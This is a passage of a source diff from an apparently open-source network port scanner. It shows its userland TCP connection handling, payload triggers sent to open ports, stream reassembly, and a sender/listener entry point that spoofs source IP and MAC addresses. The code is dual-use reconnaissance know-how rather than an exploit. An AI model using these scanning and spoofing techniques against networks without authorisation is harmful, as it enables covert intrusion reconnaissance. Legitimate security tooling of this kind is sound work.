w_u.w->tseq=c_u.c->tseq; + w_u.w->mseq=c_u.c->mseq; + w_u.w->window_size=c_u.c->window; + w_u.w->flags=TH_ACK|TH_FIN; + w_u.w->doff=0; + w_u.w->t_tstamp=c_u.c->t_tstamp; + w_u.w->m_tstamp=c_u.c->m_tstamp; + c_u.c->m_tstamp++; + + DBG(M_CON, "setting connection state into FIN_WAIT2 and sending ACK|FIN"); + + c_u.c->status=U_TCP_FIN_WAIT2; + + fifo_push(pri_work, w_u.ptr); + s->stats.stream_segments_sent++; + c_u.c->mseq++; + w_u.ptr=NULL; + } + else if (r->type & TH_FIN) { + + c_u.c->tseq += 1; /* FIN eats a seq ;] */ + + w_u.ptr=xmalloc(sizeof(send_pri_workunit_t)); + w_u.w->magic=PRI_4SEND_MAGIC; + w_u.w->dhost=dhost; + w_u.w->dport=dport; + w_u.w->sport=sport; + w_u.w->shost=c_u.c->send_ip; + w_u.w->tseq=c_u.c->tseq; + w_u.w->mseq=c_u.c->mseq; + w_u.w->window_size=c_u.c->window; + w_u.w->flags=TH_ACK; + w_u.w->doff=0; + w_u.w->t_tstamp=c_u.c->t_tstamp; + w_u.w->m_tstamp=c_u.c->m_tstamp; + + DBG(M_CON, "acking FIN"); + + fifo_push(pri_work, w_u.ptr); + s->stats.stream_segments_sent++; + + w_u.ptr=xmalloc(sizeof(send_pri_workunit_t)); + w_u.w->magic=PRI_4SEND_MAGIC; + w_u.w->dhost=dhost; + w_u.w->dport=dport; + w_u.w->sport=sport; + w_u.w->shost=c_u.c->send_ip; + w_u.w->tseq=c_u.c->tseq; + w_u.w->mseq=c_u.c->mseq; + w_u.w->window_size=c_u.c->window; + w_u.w->flags=TH_ACK|TH_FIN; + w_u.w->doff=0; + w_u.w->t_tstamp=c_u.c->t_tstamp; + w_u.w->m_tstamp=c_u.c->m_tstamp; + + c_u.c->m_tstamp++; + + DBG(M_CON, "setting connection into state closed and sending ACK|FIN"); + fifo_push(pri_work, w_u.ptr); + s->stats.stream_segments_sent++; + + c_u.c->status=U_TCP_CLOSE; + + fifo_push(pri_work, w_u.ptr); + s->stats.stream_segments_sent++; + w_u.ptr=NULL; + c_u.c->mseq++; + a_conns--; + } + break; /* U_TCP_ESTABLISHED: */ + + case U_TCP_CLOSE: + if (r->type == TH_ACK) { + break; + } + + DBG(M_CON, "reseting a packet type %s (no connection entry)", strtcpflgs(r->type)); + + s->stats.stream_closed_alien_pkt++; + + w_u.ptr=xmalloc(sizeof(send_pri_workunit_t)); + w_u.w->magic=PRI_4SEND_MAGIC; + w_u.w->dhost=dhost; + w_u.w->dport=dport; + w_u.w->sport=sport; + w_u.w->shost=c_u.c->send_ip; + w_u.w->tseq=c_u.c->tseq; + w_u.w->mseq=c_u.c->mseq; + w_u.w->window_size=c_u.c->window; + w_u.w->flags=TH_RST; + w_u.w->doff=0; + w_u.w->t_tstamp=c_u.c->t_tstamp; + w_u.w->m_tstamp=c_u.c->m_tstamp; + c_u.c->m_tstamp++; + + DBG(M_CON, "reseting packed to closed connection"); + fifo_push(pri_work, w_u.ptr); + s->stats.stream_segments_sent++; + w_u.ptr=NULL; + break; /* U_TCP_CLOSE */ + + case U_TCP_FIN_WAIT2: + + if (r->type & TH_FIN) { + /* ok its closed both ways, lets ack the fin and be done with it */ + + c_u.c->tseq += 1; + + w_u.ptr=xmalloc(sizeof(send_pri_workunit_t)); + w_u.w->magic=PRI_4SEND_MAGIC; + w_u.w->dhost=dhost; + w_u.w->dport=dport; + w_u.w->sport=sport; + w_u.w->shost=c_u.c->send_ip; + w_u.w->tseq=c_u.c->tseq; + w_u.w->mseq=c_u.c->mseq; + w_u.w->window_size=c_u.c->window; + w_u.w->flags=TH_ACK; + w_u.w->doff=0; + w_u.w->t_tstamp=c_u.c->t_tstamp; + w_u.w->m_tstamp=c_u.c->m_tstamp; + c_u.c->m_tstamp++; + + c_u.c->status=U_TCP_CLOSE; + + fifo_push(pri_work, w_u.ptr); + s->stats.stream_segments_sent++; + w_u.ptr=NULL; + DBG(M_CON, "Setting connection to closed and acking final fin"); + } + break; /* U_TCP_FIN_WAIT2 */ +# if 0 + if (r->type & (TH_ACK|TH_SYN)) { + } + break; + case U_TCP_FIN_WAIT1: + case U_TCP_FIN_WAIT2: + case U_TCP_CLOSING: + case U_TCP_TIME_WAIT: + case U_TCP_CLOSE_WAIT: + case U_TCP_LAST_ACK: + case U_TCP_CLOSE: +# endif + default: + ERR("I have no code. I have no code"); + break; + } + + } /* found in state table */ + else if ((r->type & (TH_ACK|TH_SYN)) == (TH_ACK|TH_SYN)) { /* should it be in state table */ + DBG(M_CON, "Connection with flags %s", strtcpflgs(r->type)); + + /* yes this is a new connection */ + c_u.ptr=xmalloc(sizeof(connection_status_t)); + memset(c_u.ptr, 0, sizeof(connection_status_t)); + + c_u.c->status=U_TCP_ESTABLISHED; + + c_u.c->send_ip=shost; /* Our IP */ + c_u.c->recv_len=0; + c_u.c->send_len=0; + c_u.c->send_buf=NULL; + c_u.c->recv_buf=NULL; + c_u.c->recv_stseq=0; + c_u.c->tseq=r->tseq; + c_u.c->mseq=r->mseq; + c_u.c->window=r->window_size; /* XXX wscale */ + c_u.c->t_tstamp=r->t_tstamp; + c_u.c->m_tstamp=r->m_tstamp; + c_u.c->ack_pending=1; + + if (GET_IMMEDIATE()) { + ia.s_addr=shost; + snprintf(shost_s, sizeof(shost_s) -1, "%s", inet_ntoa(ia)); + ia.s_addr=dhost; + VRB(0, "connected %s:%u -> %s:%u", shost_s, sport, inet_ntoa(ia), dport); + } + + s->stats.stream_connections_est++; + + rbinsert(state_tbl, state_key, c_u.ptr); + a_conns++; + + send_connect(state_key, c_u.c, pri_work, r); + } /* looks like something we want to connect to ;] */ + else { + s->stats.stream_completely_alien_packet++; + DBG(M_CON, "ignoring packet with flags %s", strtcpflgs(r->type)); + } + + return; +} + +static void send_connect(uint64_t state_key, connection_status_t *c, void *pri_work, const ip_report_t *r) { + union { + void *ptr; + send_pri_workunit_t *w; + uint8_t *inc; + } w_u; + union { + uint64_t state_key; + struct { + uint32_t dhost; + uint16_t sport; + uint16_t dport; + } s; + } k_u; + uint32_t pay_size=0; + uint8_t *pay_ptr=NULL; + int (*create_payload)(uint8_t **, uint32_t *, void *)=NULL; + int32_t na=0; + int dyn=0; + + k_u.state_key=state_key; + + c->tseq++; + + if (get_payload(0, IPPROTO_TCP, k_u.s.sport, &pay_ptr, &pay_size, &na, &create_payload, s->payload_group) == 1) { + int err=0; + + /* payload trigger */ + DBG(M_CON, "pay size %u ptr %p conv %d create_payload %p", pay_size, pay_ptr, na, create_payload); + + if ((pay_size < 1 && pay_ptr == NULL) && create_payload == NULL) { + ERR("pay size %u pay_ptr %p and create payload %p", pay_size, pay_ptr, create_payload); + err++; + } + + if (create_payload != NULL) { + DBG(M_CON, "running create tcp payload at %p", create_payload); + + /* XXX */ + if (create_payload(&pay_ptr, &pay_size, (void *)r) < 0) { + ERR("create payload for port %u fails", k_u.s.sport); + err++; + } + dyn++; + } + + if (pay_size > 1460) { + ERR("payload too big"); + err++; + } + + if (err == 0 && pay_size) { + /* XXX if the payload is small use the 3-way handshake to send data */ + w_u.ptr=xmalloc(sizeof(send_pri_workunit_t) + pay_size); + w_u.w->magic=PRI_4SEND_MAGIC; + w_u.w->dhost=k_u.s.dhost; + w_u.w->dport=k_u.s.sport; + w_u.w->sport=k_u.s.dport; + w_u.w->shost=c->send_ip; + w_u.w->tseq=c->tseq; + w_u.w->mseq=c->mseq; + w_u.w->window_size=c->window; + w_u.w->flags=TH_ACK; + w_u.w->doff=0; + w_u.w->t_tstamp=c->t_tstamp; + w_u.w->m_tstamp=c->m_tstamp; + memcpy(w_u.inc + sizeof(send_pri_workunit_t), pay_ptr, pay_size); + + s->stats.stream_segments_sent++; + + fifo_push(pri_work, w_u.ptr); + w_u.ptr=xmalloc(sizeof(send_pri_workunit_t) + pay_size); + w_u.w->magic=PRI_4SEND_MAGIC; + w_u.w->dhost=k_u.s.dhost; + w_u.w->dport=k_u.s.sport; + w_u.w->sport=k_u.s.dport; + w_u.w->shost=c->send_ip; + w_u.w->tseq=c->tseq; + w_u.w->mseq=c->mseq; + w_u.w->window_size=c->window; + w_u.w->flags=TH_ACK|TH_PSH; + w_u.w->doff=pay_size; + w_u.w->t_tstamp=c->t_tstamp; + w_u.w->m_tstamp=c->m_tstamp; + memcpy(w_u.inc + sizeof(send_pri_workunit_t), pay_ptr, pay_size); + + /* PSH is set, lets increment our seq */ + + fifo_push(pri_work, w_u.ptr); + + c->ack_pending=0; + + s->stats.stream_segments_sent++; + s->stats.stream_triggers_sent++; + if (dyn) { + s->stats.stream_dynamic_triggers_sent++; + } + + c->mseq += pay_size; + + DBG(M_CON, "sending trigger to port %u", w_u.w->dport); + + w_u.ptr=NULL; + } + else { /* no payload so well just ack the connection */ + + w_u.ptr=xmalloc(sizeof(send_pri_workunit_t) + pay_size); + w_u.w->magic=PRI_4SEND_MAGIC; + w_u.w->dhost=k_u.s.dhost; + w_u.w->dport=k_u.s.sport; + w_u.w->sport=k_u.s.dport; + w_u.w->shost=c->send_ip; + w_u.w->tseq=c->tseq; + w_u.w->mseq=c->mseq; + w_u.w->window_size=c->window; + w_u.w->flags=TH_ACK; + w_u.w->doff=0; + w_u.w->t_tstamp=c->t_tstamp; + w_u.w->m_tstamp=c->m_tstamp; + memcpy(w_u.inc + sizeof(send_pri_workunit_t), pay_ptr, pay_size); + fifo_push(pri_work, w_u.ptr); + s->stats.stream_segments_sent++; + c->ack_pending=0; + + DBG(M_CON, "sending trigger to port %u", w_u.w->dport); + + w_u.ptr=NULL; + } + } /* get_payload */ + else { + w_u.ptr=xmalloc(sizeof(send_pri_workunit_t)); + w_u.w->magic=PRI_4SEND_MAGIC; + w_u.w->dhost=k_u.s.dhost; + w_u.w->dport=k_u.s.sport; + w_u.w->sport=k_u.s.dport; + w_u.w->shost=c->send_ip; + w_u.w->tseq=c->tseq + 1; /* SYN incs */ + w_u.w->mseq=c->mseq; + w_u.w->window_size=c->window; + w_u.w->flags=TH_ACK; + w_u.w->doff=0; + w_u.w->t_tstamp=c->t_tstamp; + w_u.w->m_tstamp=c->m_tstamp; + c->m_tstamp++; + + fifo_push(pri_work, w_u.ptr); + s->stats.stream_segments_sent++; + c->ack_pending=0; + + w_u.ptr=NULL; + } + + return; +} + +void connect_wait(void *pri_work) { + drone_t *d=NULL; + xpoll_t spdf[8]; + unsigned int spdf_off=0; + int pret=0, getret=0; + uint8_t msg_type=0, status=0; + size_t msg_len=0; + uint8_t *ptr=NULL; + time_t s_time=0, e_time=0; + + VRB(1, "waiting for connections to finish"); + + if (s->dlh == NULL || s->dlh->head == NULL) { + PANIC("waiting for connections with no drones?"); + } + + for (s_time=time(NULL);;) { + int livesocks=0; + + for (d=s->dlh->head, spdf_off=0; d != NULL; d=d->next, spdf_off++) { + if (d->s) livesocks++; + spdf[spdf_off].fd=d->s; + } + + DBG(M_CON, "polling %d sockets......", livesocks); + + if ((pret=xpoll(&spdf[0], s->dlh->size, 5000)) < 0) { + ERR("poll drone fd's fail: %s", strerror(errno)); + } + + time(&e_time); + + if ((e_time - s_time) > s->ss->recv_timeout) { + break; + } + + for (d=s->dlh->head, spdf_off=0; d != NULL; d=d->next, spdf_off++) { + d->s_rw=0; + if (d->status != DRONE_STATUS_DEAD && d->status != DRONE_STATUS_DONE) { + d->s_rw=spdf[spdf_off].rw; + } + if (spdf[spdf_off].rw & XPOLL_READABLE) { + DBG(M_CON, "socket type %s is readable", strdronetype(d->type)); + } + } + + for (d=s->dlh->head; d != NULL; d=d->next) { + DBG(M_CON, "drone type %s drone status %s", strdronetype(d->type), strdronestatus(d->status)); + if (d->type == DRONE_TYPE_LISTENER && (d->status == DRONE_STATUS_READY || d->status == DRONE_STATUS_WORKING)) { + /* i just moved this here cause the line above was ugly */ + if ((d->s_rw & XPOLL_READABLE) == XPOLL_READABLE) { + if (recv_messages(d->s) < 1) { + ERR("cant recv_messages from ready listener"); + drone_updatestate(d, DRONE_STATUS_DEAD); + continue; + } + + while (1) { + getret=get_message(d->s, &msg_type, &status, &ptr, &msg_len); + if (getret < 1) { + break; + } + if (msg_type == MSG_ERROR || status != MSG_STATUS_OK) { + ERR("drone on fd %d is dead, closing socket and marking dead", d->s); + drone_updatestate(d, DRONE_STATUS_DEAD); + break; + } + else if (msg_type == MSG_OUTPUT) { + deal_with_output(ptr, msg_len); + } + else { + ERR("unhandled message from Listener drone message type `%s' with status %d", strmsgtype(msg_type), status); + } + } + } + } + else if (d->type == DRONE_TYPE_SENDER && d->status == DRONE_STATUS_READY) { + union { + uint8_t *pw_ptr; + void *ptr; + send_pri_workunit_t *p; + } pw_u; + + while ((pw_u.ptr=fifo_pop(pri_work)) != NULL) { + + DBG(M_CON, "sending pri work to sender in wait connections"); + if (send_message( + d->s, + MSG_WORKUNIT, + MSG_STATUS_OK, + pw_u.pw_ptr, + sizeof(send_pri_workunit_t) + pw_u.p->doff + ) < 0) { + ERR("cant send priority workunit to sender on fd %d, marking dead", d->s); + drone_updatestate(d, DRONE_STATUS_DEAD); + fifo_push(pri_work, pw_u.ptr); + continue; + } + xfree(pw_u.ptr); + } + } + + if (s->senders == 0 || s->listeners == 0) { + PANIC(s->senders == 0 ? "no senders" : "no listeners"); + } + } + + } + + VRB(1, "connections timeout"); +} + +void connect_closeopen(void *pri_work) { + + rbwalk(state_tbl, kill_connection, 1, pri_work); + + if (a_conns) { + VRB(1, "%u connections left hanging", a_conns); + } + + VRB(2, "TCP STATS:\n" + "\tConnect related TCP Segments sent: %d\n" + "\tStream Reassembly aborted due to damaged tcp segment: %d\n" + "\tStream death due to remote reset: %d\n" + "\tTCP Segments to a Closed socket: %d\n" + "\tTCP Segments out of window: %d\n" + "\tTCP Segments with data truncated that went past window: %d\n" + "\tTCP Seqments recieved out of order: %d\n" + "\tConnections Established: %d\n" + "\tTCP Triggers sent: %d\n" + "\tTCP Dynamic Triggers sent: %d\n" + "\tTCP segments to non-existant sockets: %d", + s->stats.stream_segments_sent, + s->stats.stream_reassembly_abort_badpkt, + s->stats.stream_remote_abort, + s->stats.stream_closed_alien_pkt, + s->stats.stream_out_of_window_pkt, + s->stats.stream_trunc_past_window, + s->stats.stream_out_of_order_segment, + s->stats.stream_connections_est, + s->stats.stream_triggers_sent, + s->stats.stream_dynamic_triggers_sent, + s->stats.stream_completely_alien_packet + ); + + return; +} + +static int kill_connection(uint64_t key, void *cptr, void *pri_work) { + union { + void *ptr; + connection_status_t *c; + } c_u; + union { + uint64_t state_key; + struct { + uint32_t dhost; + uint16_t sport; + uint16_t dport; + } s; + } k_u; + union { + void *ptr; + send_pri_workunit_t *w; + uint8_t *inc; + } w_u; + struct in_addr ia; + char shost_s[32]; + + if (cptr == NULL) { + PANIC("state table has NULL entry"); + } + if (pri_work == NULL) { + PANIC("pri_work is NULL"); + } + + c_u.ptr=cptr; + k_u.state_key=key; + + ia.s_addr=c_u.c->send_ip; + snprintf(shost_s, sizeof(shost_s) -1, "%s", inet_ntoa(ia)); + ia.s_addr=k_u.s.dhost; + + if (c_u.c->status != U_TCP_CLOSE) { + DBG(M_CON, "%s:%u -> %s:%u hanging in %s", shost_s, k_u.s.dport, inet_ntoa(ia), k_u.s.sport, strconnstatus(c_u.c->status)); + + w_u.ptr=xmalloc(sizeof(send_pri_workunit_t)); + w_u.w->magic=PRI_4SEND_MAGIC; + w_u.w->dhost=k_u.s.dhost; + w_u.w->dport=k_u.s.dport; + w_u.w->sport=k_u.s.sport; + w_u.w->shost=c_u.c->send_ip; + w_u.w->tseq=c_u.c->tseq + (c_u.c->window / 2); + w_u.w->mseq=c_u.c->mseq; + w_u.w->window_size=0; + w_u.w->flags=TH_RST; + w_u.w->doff=0; + w_u.w->t_tstamp=c_u.c->t_tstamp; + w_u.w->m_tstamp=c_u.c->m_tstamp + 1; + + fifo_push(pri_work, w_u.ptr); + s->stats.stream_segments_sent++; + w_u.ptr=NULL; + } + + return 1; +} + +static size_t try_and_extract_tcp_data(const uint8_t *packet, size_t pk_len, connection_status_t *c) { + union { + const struct mytcphdr *t; + const struct myiphdr *i; + const uint8_t *ptr; + } p_u; + packetlayers_t pls[8]; + const uint8_t *dptr=NULL; + size_t sret=0, j=0, ret=0; + uint32_t seq_max=0, seq_min=0; + uint32_t sseq=0, eseq=0; + + sret=packet_slice(packet, pk_len, pls, 8, PKLTYPE_IP); + + for (j=0; j < sret; j++) { + if (pls[j].stat != 0 && pls[j].stat != PKLSTAT_LAST) { + ERR("bad packet, not extracting data"); + s->stats.stream_reassembly_abort_badpkt++; + return 0; + } + + if (pls[j].type == PKLTYPE_TCP) { + p_u.ptr=pls[j].ptr; + assert(pls[j].len == sizeof(struct mytcphdr)); /* shouldnt happen unless things are bad */ + sseq=ntohl(p_u.t->seq); + + seq_max=c->tseq + c->window; + seq_min=c->tseq; + + } + + if (pls[j].type == PKLTYPE_PAYLOAD) { + ret=pls[j].len; + if (ret == 0) { + return 0; + } + eseq=(uint32_t )ret + sseq; + dptr=pls[j].ptr; + } + } + + if (! SEQ_WITHIN(sseq, seq_min, seq_max)) { + s->stats.stream_out_of_window_pkt++; + DBG(M_CON, "packet out of window with sequence %u:%u with min %u and max %u", + sseq, eseq, seq_min, seq_max + ); + return 0; + } + else { + /* + * we know + * a) the sseq is = or greater than our min + * b) its less than our max + */ + DBG(M_CON, "packet in window with sequence %u:%u with min %u and max %u", + sseq, eseq, seq_min, seq_max + ); + + if (eseq - sseq != ret) { + /* XXX */ + DBG(M_CON, "eseq %u sseq %u and len " STFMT , eseq, sseq, ret); + return 0; + } + + if (eseq > seq_max) { + ret=c->window; + + eseq=seq_max; + + s->stats.stream_trunc_past_window++; + ERR("recieved segment that slips past our window!"); + } + + /* + * dptr = data pointer inside packet area (tcp payload) + */ + if (c->recv_len == 0) { + c->recv_buf=(uint8_t *)xmalloc(ret + 1); + memcpy(c->recv_buf, dptr, ret); + c->recv_buf[ret]='\0'; + c->recv_len=ret; + c->recv_stseq=sseq; + } + else { + uint8_t *nbuf=NULL; + size_t newsize=0; + uint32_t lowseq=0, highseq=0; + + lowseq=MIN(c->recv_stseq, sseq); + highseq=MAX(c->recv_stseq, eseq); + + DBG(M_CON, "new low seq is %u and high is %u", lowseq, highseq); + + assert(lowseq < highseq); + assert((highseq - lowseq) < 0x3FFFF); + + newsize=(size_t)highseq - lowseq; + nbuf=(uint8_t *)xmalloc(newsize + 1); + memset(nbuf, 0, newsize); + + /* XXX FIXME */ + /* now copy the low data */ + if (sseq < c->recv_stseq) { + uint32_t oldeseq=0; + + oldeseq=c->recv_stseq + c->recv_len; + memcpy(nbuf, dptr, ret); + memcpy((nbuf + newsize) - (oldeseq - c->recv_stseq), c->recv_buf, c->recv_len); + xfree(c->recv_buf); + } + else { + if (newsize < c->recv_len) { + ERR("error, newsize is " STFMT " and recv_len is " STFMT ", dumping buffer!!", newsize, c->recv_len); + newsize=c->recv_len; + nbuf=c->recv_buf; + } + else { + memcpy(nbuf, c->recv_buf, c->recv_len); + //memcpy((nbuf + newsize) - (eseq - sseq), dptr, eseq - sseq); + xfree(c->recv_buf); + } + } + + c->recv_buf=nbuf; + c->recv_len=newsize; + } + } + + DBG(M_CON, "got " STFMT " bytes of data from packet", ret); + + return ret; +} + +static char *strconnstatus(int cstat) { + static char strstat[64]; + + switch (cstat) { + case U_TCP_ESTABLISHED: + sprintf(strstat, "Established"); break; + case U_TCP_FIN_WAIT1: + sprintf(strstat, "Fin Wait1"); break; + case U_TCP_FIN_WAIT2: + sprintf(strstat, "Fin Wait2"); break; + case U_TCP_CLOSING: + sprintf(strstat, "Closing"); break; + case U_TCP_TIME_WAIT: + sprintf(strstat, "Time Wait"); break; + case U_TCP_CLOSE_WAIT: + sprintf(strstat, "Close Wait"); break; + case U_TCP_LAST_ACK: + sprintf(strstat, "Last Ack"); break; + case U_TCP_CLOSE: + sprintf(strstat, "Closed"); break; + default: + sprintf(strstat, "Unknown[%d]", cstat); break; + } + + return strstat; +} diff --git a/src/scan_progs/connect.h b/src/scan_progs/connect.h new file mode 100644 index 0000000..d012a16 --- /dev/null +++ b/src/scan_progs/connect.h @@ -0,0 +1,35 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#ifndef _CONNECTION_H +# define _CONNECTION_H + +#define TBLFIND rbfind +#define TBLINIT rbinit +#define TBLINSERT rbinsert +#define TBLWALK rbwalk +#define TBLDESTROY rbdestroy + +void connect_init(void); +void connect_grabbanners(ip_report_t *); +void connect_do(void * /* pri_work */, const ip_report_t *); +void connect_wait(void * /* pri_work */); +void connect_closeopen(void * /* pri_work */); +void connect_destroy(void); + +#endif diff --git a/src/scan_progs/entry.c b/src/scan_progs/entry.c new file mode 100644 index 0000000..eef4d11 --- /dev/null +++ b/src/scan_progs/entry.c @@ -0,0 +1,268 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#include + +#ifdef WITH_SELINUX +#include +#endif + +#include + +#include +#include +#include + +#include +#include +#include +#include +#include +#include + +#include + +#define PROCTYPE_SENDER 1 +#define PROCTYPE_LISTENER 2 + +#if defined(BUILD_IDENT_SEND) +int ident=IDENT_SEND; +const char *ident_name_ptr=IDENT_SEND_NAME; +#elif defined(BUILD_IDENT_RECV) +int ident=IDENT_RECV; +const char *ident_name_ptr=IDENT_RECV_NAME; +#else +# error whoa +#endif +settings_t *s=NULL; +static pid_t ppid=0; + +int main(int argc, char **argv) { + void (*run_mode)(void)=NULL; + int sret=0, j=0; + size_t doff=0; + char cmdline[256]; +#ifdef WITH_SELINUX + security_context_t c_con, p_con; +#endif + + s=(settings_t *)xmalloc(sizeof(settings_t)); + memset(s, 0, sizeof(settings_t)); + s->vi=(interface_info_t **)xmalloc(sizeof(interface_info_t *)); + s->vi[0]=(interface_info_t *)xmalloc(sizeof(interface_info_t)); + memset(s->vi[0], 0, sizeof(interface_info_t)); + + ppid=getppid(); /* set this early */ + + s->_stdout=stdout; + s->_stderr=stderr; + +#ifdef DEBUG_SUPPORT + bluescreen_register(); +#endif + + prng_init(); + scan_setdefaults(); + s->forked=1; + +#if defined(BUILD_IDENT_SEND) + run_mode=&send_packet; + + if (argc != 7) { + terminate("arguments are incorrect for this program"); + } + + if (scan_setprofile(argv[1]) < 0) { + terminate("cant setprofile"); + } + if (scan_setmoddir(argv[2]) < 0) { + terminate("cant set module directory"); + } + if (scan_setverbose(atoi(argv[3])) < 0) { + terminate("cant set verbose level"); + } + if (scan_setdebug(argv[4]) < 0) { + terminate("cant set debug level"); + } + if (scan_setinterface(argv[5]) < 0) { + terminate("cant set interface"); + } + s->ipcuri=xstrdup(argv[6]); + +#elif defined(BUILD_IDENT_RECV) + run_mode=&recv_packet; + + if (argc != 10) { + terminate("arguments are incorrect for this program"); + } + + if (scan_setprofile(argv[1]) < 0) { + terminate("cant setprofile"); + } + if (scan_setmoddir(argv[2]) < 0) { + terminate("cant set module directory"); + } + if (scan_setverbose(atoi(argv[3])) < 0) { + terminate("cant set verbose level"); + } + if (scan_setdebug(argv[4]) < 0) { + terminate("cant set debug level"); + } + if (scan_setinterface(argv[5]) < 0) { + terminate("cant set interface"); + } + + DBG(M_INT, "got interface `%s' from parent", argv[5]); + + if (get_interface_info(s->interface_str, s->vi[0]) < 0) { + terminate("cant get interface information"); + } + +# warning FIXTHIS IPV4 ONLY + if (strcmp(argv[6], "0.0.0.0") != 0) { + struct in_addr ia; + union { + struct sockaddr_in *sin; + struct sockaddr_storage *ss; + } s_u; + + DBG(M_CLD, "ok so we are spoofing `%s' then", argv[6]); + snprintf(s->vi[0]->myaddr_s, sizeof(s->vi[0]->myaddr_s) -1, "%s", argv[6]); + if (inet_aton(s->vi[0]->myaddr_s, &ia) == 0) { + terminate("invalid ip address"); + } + s_u.ss=&s->vi[0]->myaddr; + s_u.sin->sin_addr.s_addr=ia.s_addr; + s_u.sin->sin_family=AF_INET; + + s_u.ss=&s->vi[0]->mymask; + s_u.sin->sin_addr.s_addr=0xffffffff; + s_u.sin->sin_family=AF_INET; + + SET_PROMISC(1); + } + + if (strcmp(argv[7], "00:00:00:00:00:00") != 0) { + unsigned int a,b,c,d,e,f; + + DBG(M_CLD, "ok so we are spoofing my mac then `%s'", argv[7]); + if (sscanf(argv[7], "%x:%x:%x:%x:%x:%x", &a, &b, &c, &d, &e, &f) != 6) { + terminate("invalid mac address"); + } + if (a > 0xff || b > 0xff || c > 0xff || d > 0xff || e > 0xff || f > 0xff) { + terminate("mac address out of range"); + } + + snprintf(s->vi[0]->hwaddr_s, sizeof(s->vi[0]->hwaddr_s) -1, "%s", argv[7]); + + s->vi[0]->hwaddr[0]=(uint8_t)a; + s->vi[0]->hwaddr[1]=(uint8_t)b; + s->vi[0]->hwaddr[2]=(uint8_t)c; + s->vi[0]->hwaddr[3]=(uint8_t)d; + s->vi[0]->hwaddr[4]=(uint8_t)e; + s->vi[0]->hwaddr[5]=(uint8_t)f; + + SET_PROMISC(1); + } + + if (strcmp(argv[8], "none") != 0) { + if (scan_setsavefile(argv[8]) < 0) { + terminate("can't use file `%s' as savefile", argv[8]); + } + } + + s->ipcuri=xstrdup(argv[9]); + +#else + #error BUILD_IDENT_SEND or BUILD_IDENT_RECV must be set +#endif + + for (j=0; j < argc; j++) { + sret=snprintf(cmdline + doff, sizeof(cmdline) - (doff + 1), "%s ", argv[j]); + if ((sret < 1) || (doff + 1 >= sizeof(cmdline))) { + break; + } + doff += (size_t) sret; + } + + DBG(M_CLD, "command line `%s', %s with pid of %d", cmdline, ident == IDENT_RECV ? "listener" : "sender", getpid()); + +#ifdef WITH_SELINUX + /* + * obviously none of this is required, but if we are in selinux mode, lets just + * make sure that we are in a sane selinux env, in case the policy isnt added, + * it will make troubleshooting more obvious if we fail with an error regarding + * a broken selinux setup. + */ + if (getpidcon(getpid(), &c_con) < 0) { + terminate("getpidcon fails"); + } + + if (getprevcon(&p_con) < 0) { + terminate("getprevcon fails"); + } + + if (security_check_context(c_con) != 0) { + terminate("my security context is invalid, exiting"); + } + +/* + if (ident == IDENT_RECV) { + if (strstr(c_con, LISTENERNAME) != NULL) { + } + } + else { + if (strstr(c_con, SENDERNAME) != NULL) { + } + } +*/ + + DBG(M_CLD, "current context `%s' prev context `%s'", c_con, p_con); + + if (!(security_getenforce())) { + /* + * once again this is not something that should ever happen in a sane env, but well just check + * anyhow to prevent serious mistakes + */ + terminate("this program is not compiled to run without the protection of selinux, enforcing mode must be on, perhaps you should recompile without selinux support if you do not plan to use it"); + } + + if (setreuid(0, 0) == -1) { + terminate("setreuid fails"); + } +#endif + + if (ipc_init() < 0) { + terminate("cant initialize IPC, quiting"); + } + + run_mode(); /* shouldnt return */ + + PANIC("if you are seeing this, something is really bad"); +} + +void parent_sync(void) { + + if (ppid == 1) { + terminate("ack, parent died?"); + } + + if (kill(ppid, UNI_SYNC_SIGNAL) < 0) { + terminate("can't sync with parent, exiting"); + } +} diff --git a/src/scan_progs/entry.h b/src/scan_progs/entry.h new file mode 100644 index 0000000..01656b2 --- /dev/null +++ b/src/scan_progs/entry.h @@ -0,0 +1,24 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#ifndef _ENTRY_H +# define _ENTRY_H + +void parent_sync(void); + +#endif diff --git a/src/scan_progs/init_packet.c b/src/scan_progs/init_packet.c new file mode 100644 index 0000000..e39b63e --- /dev/null +++ b/src/scan_progs/init_packet.c @@ -0,0 +1,350 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ 